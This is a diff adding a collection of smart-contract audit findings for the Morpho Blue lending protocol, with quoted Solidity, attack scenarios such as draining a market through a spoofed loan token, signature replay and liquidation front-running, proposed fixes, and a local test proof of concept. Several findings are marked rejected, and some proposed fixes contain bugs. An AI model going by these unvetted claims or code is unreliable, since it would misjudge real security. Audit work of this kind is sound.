+ return uint256(answer);
+}
+```
+- **Recommendation**:
+Use `try/catch` block and use a `fallback` oracle in case of main oracle failure.
+
+```solidity
+function getPrice(AggregatorV3Interface feed) internal view returns (uint256) {
+ if (address(feed) == address(0)) return 1;
+
++ try feed.latestAnswer() returns (int256 price) {
++ require(answer >= 0, ErrorsLib.NEGATIVE_ANSWER);
++ return uint256(answer);
++ } catch Error(string memory) {
++ // use backup oracle
++ }
+
+- (, int256 answer,,,) = feed.latestRoundData();
+- require(answer >= 0, ErrorsLib.NEGATIVE_ANSWER);
+- return uint256(answer);
+}
+```
+
+
+
+### Morpho.sol doesn't support ETH which is one of web3 major tokens. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+ETH is one of the major tokens in web3.
+
+Users won't be able to use ETH in MORPHO as the funds transfer flow neglects the `payable` keyword.
+
+The `supply()`, `repay()`, `supplyCollateral()` and `liquidate()` functions all lack the `payable` keyword.
+
+The issue is that in metamorpho and periphery competition's contracts, `MorphoBundler.sol` has the payable keyword and it calls into `Morpho.sol` but Morpho.sol is built in a way that it can't work with ETH so this will cause reverts.
+
+**Recommendation**:
+
+ADD the `payable` keyword to the `supply()`, `repay()`, `supplyCollateral()` and `liquidate()` functions so that they will be able to receive ETH.
+
+Also consider that the token could be ETH when removing funds in Morpho.sol.
+
+
+
+### No way to disable IRM
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description:**
+Mapping `isIrmEnabled` can only be modified through `enableIrm()` function which only sets `true` for a given `irm`.
+````
+function enableIrm(address irm) external onlyOwner {
+ require(!isIrmEnabled[irm], ErrorsLib.ALREADY_SET);
+
+ isIrmEnabled[irm] = true;
+
+ emit EventsLib.EnableIrm(irm);
+ }
+````
+IRM are expected to be math driven smart contracts, and some of them can be added with mistakes inside. If a mistake is discovered it will not be possible to remove such IRM and save new markets.
+
+**Recommendation:**
+Consider an additional bool argument for `enableIrm()`, setting `true` or `false` for a given `irm`. Or it can be a separate function that disables an `irm` in the `isLltvEnabled` mapping.
+
+
+
+### Cross chain signature replay attack in `Morpho.setAuthorizationWithSig` function _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- `Morpho.setAuthorizationWithSig` function sets athe authorization for an account to manage an authorizer's positions, and this can be done by calling the function with a `signature` and an `authorization` struct that contains:
+
+ ```solidity
+ struct Authorization {
+ address authorizer;
+ address authorized;
+ bool isAuthorized;
+ uint256 nonce;
+ uint256 deadline;
+ }
+ ```
+
+- But it was noticed that the provided signature has a `v`, `r` & `s` but does't have `chainId`; this means that the same signatur can be used across different chains (replayed).
+
+- Since the protocol will be deployed on mainnmet in the current stage, then it will be deployed on other chains later; thus making the replayed signature vulnerability present with future chains deployemnt.
+
+- Context
+
+[Morpho.setAuthorizationWithSig function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435C1-L452C6)
+
+```solidity
+ function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+ }
+```
+
+- Recommendation
+
+Add chainId to the `Authorization` struct and `AUTHORIZATION_TYPEHASH` constant:
+
+```diff
+ struct Authorization {
+ address authorizer;
+ address authorized;
+ bool isAuthorized;
+ uint256 nonce;
+ uint256 deadline;
++ uint256 chainId;
+ }
+```
+
+```diff
+-bytes32 constant AUTHORIZATION_TYPEHASH = keccak256("Authorization(address authorizer,address authorized,bool isAuthorized,uint256 nonce,uint256 deadline)");
+
++bytes32 constant AUTHORIZATION_TYPEHASH = keccak256("Authorization(address authorizer,address authorized,bool isAuthorized,uint256 nonce,uint256 deadline,uint256 chainId)");
+```
+
+
+
+### Malicious actors can disrupt `Morhpo` markets with un-validated inputs _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- `Morpho` contract : markets can be created by any user, and each created market requires a loanToken address, collateralToken address, irm address and oracle address, and each created market is segregated from other markets.
+
+- Liquidity providers can preovide liquidity of the `market.loanToken` via `supply` function and can withdraw their preovided liquidity via `withdraw` function:
+
+ ```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+ ```
+
+ ```solidity
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+ ```
+
+- But as can be noticed; any user can provide liquidity with any `marketParams.loanToken` token address and then withdraw liquidity with any `marketParams.loanToken` token address since these addresses are extracted from the `market` function parameter provided by the user and not extracted from the saved market params in `idToMarketParams[id]`.
+
+- Imagine the following scenario:
+
+ 1. There's marketA with loanToken = wETH (that worths ~ 2200$/wETH) and marketB with loanToken of any worthless/low value token (that worths ~ 1$/token), and let's call it tokenB.
+ 2. A liquidity provider provides marketB with 100 unit of tokenB.
+ 3. Then the same liquidity provider calls `withdraw` function with `marketParams.loanToken` equals to the address of wETH token instead of the address of tokenB to withdraw his 100 unit of provided tokenB, but he will be given a +100 unit of wETH as per his request (+interesr for providing liquidity).
+ 4. This will break/drain marketA liquidity and accounting and leave the contract with stuck tokenB.
+
+- Relying on users to provided correct `marketParams` is dangerous and not realstic as this will open the door for any malicious user to disrupt the markets accounting and steal markets liquidity (as illustrated in the example above).
+
+- The same issue is spotted in the following functions as well (where the user input `marketParams` is used instead of using the saved `idToMarketParams[id]`):
+
+ - `supplyCollateral` & `borrow` functions : where any malicious borrower can supply collateral with any worthless/low value token and borrow any high value token.
+
+ - `repay` function: where any malicious borrower can repay his borrows with any worthless/low value token.
+
+ - `liquidate` function : where any malicious liquidator can liquidate any healthy position by providing a malicious `marketParams.oracle` address.
+
+- Impact
+
+Assuming that users will provide a `marketParams` that matches `marketId` will render the protocol in a dangerous state by relying on the supposed honest behavior of users/or frontend protection, since anyone can interact with the `Morpho` contract via contracts and not by the application frontend.
+
+- Proof of Concept
+
+[Morpho.supply function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166C5-L194C6)
+
+```solidity
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+[Morpho.withdraw function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197C5-L228C1)
+
+```solidity
+function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+- Tools Used
+
+Manual Review.
+
+- Recommendation
+
+In all user interacting functions; extract `marketParams` from `idToMarketParams[id]`, for example:
+
+```diff
+function supply(
+- MarketParams memory marketParams,
++ Id id,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
++ MarketParams memory marketParams = idToMarketParams[id];
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+
+
+### `Morpho` contract is compatible with the customized chainlink oracles only _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- `Morpho` contract : markets can be created by any user and each created market requires a loanToken address, collateralToken address, irm address and oracle address, and each created market is segregated from other markets.
+
+- The protocol has a customized chainlink oracle to provide collateral price, and the returned collateral price is returned with `36 + loan token decimals - collateral token decimals` decimals:
+
+ ```solidity
+ interface IOracle {
+ /// @notice Returns the price of 1 asset of collateral token quoted in 1 asset of loan token, scaled by 1e36.
+ /// @dev It corresponds to the price of 10**(collateral token decimals) assets of collateral token quoted in
+ /// 10**(loan token decimals) assets of loan token with `36 + loan token decimals - collateral token decimals`
+ /// decimals of precision.
+ function price() external view returns (uint256);
+ }
+ ```
+
+ then the returned price from this oracle is normalized by dividing the price by `ORACLE_PRICE_SCALE` which equals to `1e36`.
+
+- As can be noticed; the protocol is designed to handle the returned collateral price with format matches the customized chainlink oracle (in terms of returned decimals).
+
+- But when creating markets; the protocol allows using any oracle that doesn't necessarily match the behavior of the customized chainlink oracle in terms of returned decimals.
+
+- Impact
+
+This will result in incorrect calculations of collateral prices if the returned price decimals doesn't match `36 + loan token decimals - collateral token decimals`.
+
+- Proof of Concept
+
+[IOracle Interface](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L9C1-L15C2)
+
+```solidity
+interface IOracle {
+ /// @notice Returns the price of 1 asset of collateral token quoted in 1 asset of loan token, scaled by 1e36.
+ /// @dev It corresponds to the price of 10**(collateral token decimals) assets of collateral token quoted in
+ /// 10**(loan token decimals) assets of loan token with `36 + loan token decimals - collateral token decimals`
+ /// decimals of precision.
+ function price() external view returns (uint256);
+}
+```
+
+[ConstantsLib.ORACLE_PRICE_SCALE constant](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L7C1-L8C44)
+
+```solidity
+/// @dev Oracle price scale.
+uint256 constant ORACLE_PRICE_SCALE = 1e36;
+```
+
+[Morpho.liquidate function/L369-L377](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L369C13-L377C14)
+
+```solidity
+if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+```
+
+[Morpho.\_isHealthy function/L521-L522](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L521C1-L522C42)
+
+```solidity
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+```
+
+- Tools Used
+
+Manual Review.
+
+- Recommendation
+
+An easy mitigation could be whitlisting chanilink oracles that match the design of the protocol instead of allowing adding any oracle when creating markets as some prices returned by other oracles need some refinement (decimals handling different from the current refinment implemented by the protocol) before using it .
+
+
+
+### `Morpho.withdraw` function lacks slippage protection
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- Liquidity providers can withdraw/redeem their provided liquidity at anytime (as long as `market[id].totalBorrowAssets <= market[id].totalSupplyAssets`) by calling `withdraw` function with either `assets` (which is the amount of assets to withdraw) or `shares` (which is the amount of shares to burn).
+
+- The protocol rounds down the withdrawn assets when the user calls the `withdraw` function with `shares > 0` and rounds up the burnt shares when the user calls the function with `assets > 0`.
+
+- So if a liquidity provider calls `withdraw` function with low `shares` amount; then due to rounding down the calculated `asset` might be zero, so the provider shares are burnt without getting assets because the amount of `shares` redeemed is too small.
+
+- Impact
+
+This will lead to liquidity providers burning their shares without receiving an equivalent supplied assets in return.
+
+- Proof of Concept
+
+[Morpho.withdraw function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197C5-L228C1)
+
+```solidity
+function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+- Tools Used
+
+Manual Review.
+
+- Recommendation
+
+Add slippage protection for `withdraw` function:
+
+```diff
+function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
++ uint256 minAmount,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+- if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+- else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
++ if (assets > 0){
++ shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
++ require(shares > minAmount);
++ }else{
++ assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
++ require(assets > minAmount);
++ }
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+
+
+### `Morpho.supply` function lacks slippage protection
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- Liquidity providers can supply liquidity to any market by calling `Morpho.supply` function, they can call the function by either `assets > 0` and the function calculates the equivalent share amount, or they can call the function with `shares > 0` and the function calculates the equivalent asset amount to supply to the market.
+
+- The protocol rounds down the calculated shares when the user calls `supply` function with `assets > 0` , so if a liquidity provider calls `supply` function with low `asset` amount; then due to rounding down the calculated `shares` might be zero, so the provider assets are supplied to the market without getting an equivalent shares.
+
+- Impact
+
+This will lead to liquidity providers losing their assets without receiving an equivalent shares in return.
+
+- Proof of Concept
+
+[Morpho.supply function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166C1-L194C6)
+
+```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+- Tools Used
+
+Manual Review.
+
+- Recommendation
+
+Add slippage protection for `Morpho.supply` function.
+
+
+
+
+### Implement Accurate Token Transfer to Prevent Bad Debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+* * *
+- Links to affected code
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L191
+* * *
+- Summary
+The contract, in various instances, transfers tokens from users. However, there is a potential issue where some tokens, especially those involving fees on transfer, may not transfer the entire amount. This discrepancy can lead to bad debt within the protocol.
+
+
+- Impact
+Inaccurate token transfers can result in a misalignment between the intended and actual transferred amounts, leading to potential bad debt within the protocol.
+
+
+- Tools Used
+Manual review
+- Recommendations
+To address this issue, it is crucial to ensure that the contract accurately transfers the entire intended amount of tokens. Implement a check by comparing the balance before and after the token transfer. If the actual transferred amount is less than the intended amount, revert the transaction to prevent potential bad debt.
+```diff
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+- IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
++ uint256 balanceBefore = IERC20(marketParams.loanToken).balanceOf(address(this));
++ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets); //@audit some tokens transfer less than amount
++ uint256 balanceAfter = IERC20(marketParams.loanToken).balanceOf(address(this));
++ uint256 diff = balanceAfter - balanceBefore;
++ if (diff <= assets) {revert();}
+ return (assets, shares);
+
+
+
+### User can protect his liquidatable positions from full liquidations _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+
+Users may exploit a loophole to protect themselves from full liquidations when attempts are made to execute liquidations on their unhealthy borrow positions.
+
+- Detail
+
+As specified in the [**IMorpho.sol**](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L244) interface, the [**liquidate**](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344) function is designed to revert when a liquidator attempts to liquidate an amount exceeding what the borrower owes. It reverts because of the underflow that would occur when subtracting repaidShares from position\[id][borrower].borrowShares.
+
+```solidity
+ /// @inheritdoc IMorphoBase
+ function liquidate(MarketParams memory marketParams, address borrower, uint256 seizedAssets, uint256 repaidShares, bytes calldata data) external returns (uint256, uint256) {
+ // ...
+ position[id][borrower].borrowShares -= repaidShares.toUint128(); // @audit-issue Underflow error can occur.
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+ // ...
+ }
+```
+
+However, a potential issue arises when users observe liquidation attempts and strategically front-run them with repayment transactions, sending a negligible dust amount to reduce their `borrowShares`. This results in a liquidation failure due to an underflow error, as the borrower's **borrowShares** are lower than what the liquidator aims to liquidate.
+
+While this "borrower repays dust amount protection" might not be effective in scenarios where partial liquidations can fill the debt, there may be markets without liquidation bots operating with partial liquidations. This could pose challenges for such markets.
+
+- Recommended Mitigation Steps
+
+To address this vulnerability, consider modifying the liquidation process. Instead of reverting due to underflow, use the minimum between the repaidShares and the actual borrowShares. This adjustment ensures that the liquidation process works seamlessly with the current borrowed amount, mitigating the risk of users exploiting the underflow vulnerability.
+
+
+
+
+### Incorrect Bad Debt Realization in Morpho Blue
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+- Overview
+
+In Morpho Blue, when a liquidation leaves an account with some remaining debt and without collateral, the loss is realized and shared proportionally between all lenders. This occurs even if the borrower was a lender and has sufficient assets to cover their own bad debt, leading to an inequitable distribution.
+
+- Impact
+
+The existing mechanism could lead to an unfair distribution of losses among lenders when a borrower, who is also a lender, faces liquidation. Other lenders may bear a portion of the bad debt, even if the borrower has sufficient collateral to cover the loss independently. Consequently, inefficiencies in bad debt realization may impact the economic incentives of lenders.
+
+- Proof of Concept
+
+- Vulnerability Details
+
+The vulnerability arises from the bad debt distribution mechanism in Morpho Blue:
+
+```solidity
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+
+When a supplier, who is also a borrower, faces liquidation, the bad debt is distributed unfairly among all suppliers. This violates fairness principles, as the borrower should cover their bad debt individually when possessing sufficient `supplyShares`.
+
+- Here is a coded PoC to demonstrate the issue:
+
+```solidity
+ /**
+ * @notice Demonstrates the vulnerability where bad debt is unfairly shared among lenders
+ * when a borrower, who is also a lender, faces liquidation.
+ */
+
+ function testRealizeBadDebtBetweenAllLenders() public {
+ uint256 collateralAmount = 10 ether;
+ uint256 loanAmount = 1 ether;
+
+ // Test setup
+ loanToken.setBalance(SUPPLIER, loanAmount);
+ loanToken.setBalance(SUPPLIER_TWO, loanAmount);
+ collateralToken.setBalance(SUPPLIER, collateralAmount);
+ loanToken.setBalance(LIQUIDATOR, loanAmount);
+
+ vm.prank(SUPPLIER);
+ morpho.supply(marketParams, loanAmount, 0, SUPPLIER, hex"");
+
+ vm.prank(SUPPLIER_TWO);
+ morpho.supply(marketParams, loanAmount, 0, SUPPLIER_TWO, hex"");
+
+ // First Supplier is also a borrower
+ vm.startPrank(SUPPLIER);
+ morpho.supplyCollateral(marketParams, collateralAmount, SUPPLIER, hex"");
+ morpho.borrow(marketParams, loanAmount, 0, SUPPLIER, SUPPLIER);
+ vm.stopPrank();
+
+ // Simulating a drop in the borrower's collateral token price
+ oracle.setPrice(1e36 / 100);
+
+ // An arbitrary liquidator initiates the liquidation process
+ vm.startPrank(LIQUIDATOR);
+ morpho.liquidate(marketParams, SUPPLIER, collateralAmount, 0, hex"");
+ vm.stopPrank();
+
+ // First Supplier will receive 547000000000000000
+ vm.startPrank(SUPPLIER);
+ morpho.withdraw(marketParams, 0, morpho.supplyShares(id, SUPPLIER), SUPPLIER, SUPPLIER);
+ vm.stopPrank();
+
+ // Second Supplier will receive 547000000000000001
+ vm.startPrank(SUPPLIER_TWO);
+ morpho.withdraw(marketParams, 0, morpho.supplyShares(id, SUPPLIER_TWO), SUPPLIER_TWO, SUPPLIER_TWO);
+ vm.stopPrank();
+
+ console.log("Total Supply assets :", morpho.totalSupplyAssets(id));
+ console.log("Total Supply shares :", morpho.totalSupplyShares(id));
+
+ console.log("Supplier shares :", morpho.supplyShares(id, SUPPLIER));
+ console.log("SUPPLIER_TWO shares :", morpho.supplyShares(id, SUPPLIER_TWO));
+
+ console.log("First supplier balance :", loanToken.balanceOf(SUPPLIER));
+ console.log("Second supplier balance :", loanToken.balanceOf(SUPPLIER_TWO));
+ }
+```
+
+- Logs result:
+
+```yaml
+ Total Supply assets : 0
+ Total Supply shares : 0
+ Supplier shares : 0
+ SUPPLIER_TWO shares : 0
+ First supplier balance : 1547000000000000000
+ Second supplier balance : 547000000000000001
+```
